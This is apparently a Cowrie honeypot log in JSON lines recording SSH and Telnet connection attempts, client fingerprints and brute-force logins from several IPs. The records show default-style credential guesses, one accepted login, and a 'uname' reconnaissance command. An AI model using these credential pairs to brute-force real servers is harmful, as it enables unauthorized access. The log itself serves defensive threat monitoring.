{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46086,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce82a0875f58","protocol":"ssh","message":"New connection: 45.156.87.254:46086 (159.203.135.109:22) [session: ce82a0875f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:40.598367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:40.603592Z","src_ip":"45.156.87.254","session":"ce82a0875f58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:40.691159Z","src_ip":"45.156.87.254","session":"ce82a0875f58","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:40.942872Z","src_ip":"45.156.87.254","session":"ce82a0875f58","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:41.155097Z","src_ip":"45.156.87.254","session":"ce82a0875f58","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:41.158643Z","src_ip":"45.156.87.254","session":"ce82a0875f58","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:41.245814Z","src_ip":"45.156.87.254","session":"ce82a0875f58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:41.250424Z","src_ip":"45.156.87.254","session":"ce82a0875f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41922,"dst_ip":"10.17.0.5","dst_port":23,"session":"d34366d373e5","protocol":"telnet","message":"New connection: 20.123.41.163:41922 (10.17.0.5:23) [session: d34366d373e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:41.571262Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":52746,"dst_ip":"10.17.0.5","dst_port":22,"session":"00613e079a6d","protocol":"ssh","message":"New connection: 185.16.214.226:52746 (10.17.0.5:22) [session: 00613e079a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:44.262781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:44.267859Z","src_ip":"185.16.214.226","session":"00613e079a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:44.392635Z","src_ip":"185.16.214.226","session":"00613e079a6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"a","message":"login attempt [kafka/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:44.923797Z","src_ip":"185.16.214.226","session":"00613e079a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:46.051895Z","src_ip":"185.16.214.226","session":"00613e079a6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46094,"dst_ip":"159.203.135.109","dst_port":22,"session":"23e8b0ae625f","protocol":"ssh","message":"New connection: 45.156.87.254:46094 (159.203.135.109:22) [session: 23e8b0ae625f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:46.074536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:46.080887Z","src_ip":"45.156.87.254","session":"23e8b0ae625f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:46.165388Z","src_ip":"45.156.87.254","session":"23e8b0ae625f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:46.470595Z","src_ip":"45.156.87.254","session":"23e8b0ae625f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43428,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d36d0b5b6de","protocol":"telnet","message":"New connection: 20.123.41.163:43428 (10.17.0.5:23) [session: 4d36d0b5b6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:46.705182Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:47.561195Z","src_ip":"45.156.87.254","session":"23e8b0ae625f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":44670,"dst_ip":"10.17.0.5","dst_port":22,"session":"22bc8ddf57fd","protocol":"ssh","message":"New connection: 186.30.115.187:44670 (10.17.0.5:22) [session: 22bc8ddf57fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:48.497133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:48.501861Z","src_ip":"186.30.115.187","session":"22bc8ddf57fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:48.594232Z","src_ip":"186.30.115.187","session":"22bc8ddf57fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft2020","message":"login attempt [minecraft/minecraft2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:48.991303Z","src_ip":"186.30.115.187","session":"22bc8ddf57fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:50.087048Z","src_ip":"186.30.115.187","session":"22bc8ddf57fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38116,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3f3837d9a5e","protocol":"ssh","message":"New connection: 45.156.87.254:38116 (159.203.135.109:22) [session: b3f3837d9a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:51.241583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:51.248191Z","src_ip":"45.156.87.254","session":"b3f3837d9a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:51.334633Z","src_ip":"45.156.87.254","session":"b3f3837d9a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:51.842092Z","src_ip":"45.156.87.254","session":"b3f3837d9a5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:52.928619Z","src_ip":"45.156.87.254","session":"b3f3837d9a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38126,"dst_ip":"159.203.135.109","dst_port":22,"session":"17a9e3b98298","protocol":"ssh","message":"New connection: 45.156.87.254:38126 (159.203.135.109:22) [session: 17a9e3b98298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:56.106387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:56.111723Z","src_ip":"45.156.87.254","session":"17a9e3b98298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:56.195729Z","src_ip":"45.156.87.254","session":"17a9e3b98298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:56.641121Z","src_ip":"45.156.87.254","session":"17a9e3b98298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:57.730049Z","src_ip":"45.156.87.254","session":"17a9e3b98298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":33138,"dst_ip":"10.17.0.5","dst_port":23,"session":"47e58e8136d7","protocol":"telnet","message":"New connection: 20.123.41.163:33138 (10.17.0.5:23) [session: 47e58e8136d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:55:58.513390Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55516,"dst_ip":"159.203.135.109","dst_port":22,"session":"28b9ae28c0c5","protocol":"ssh","message":"New connection: 45.156.87.254:55516 (159.203.135.109:22) [session: 28b9ae28c0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:01.722347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:01.728302Z","src_ip":"45.156.87.254","session":"28b9ae28c0c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:01.836000Z","src_ip":"45.156.87.254","session":"28b9ae28c0c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:02.089464Z","src_ip":"45.156.87.254","session":"28b9ae28c0c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:03.181623Z","src_ip":"45.156.87.254","session":"28b9ae28c0c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55518,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dd79fe19909","protocol":"ssh","message":"New connection: 45.156.87.254:55518 (159.203.135.109:22) [session: 4dd79fe19909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:07.059702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:07.065153Z","src_ip":"45.156.87.254","session":"4dd79fe19909","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:07.159187Z","src_ip":"45.156.87.254","session":"4dd79fe19909","protocol":"ssh"}
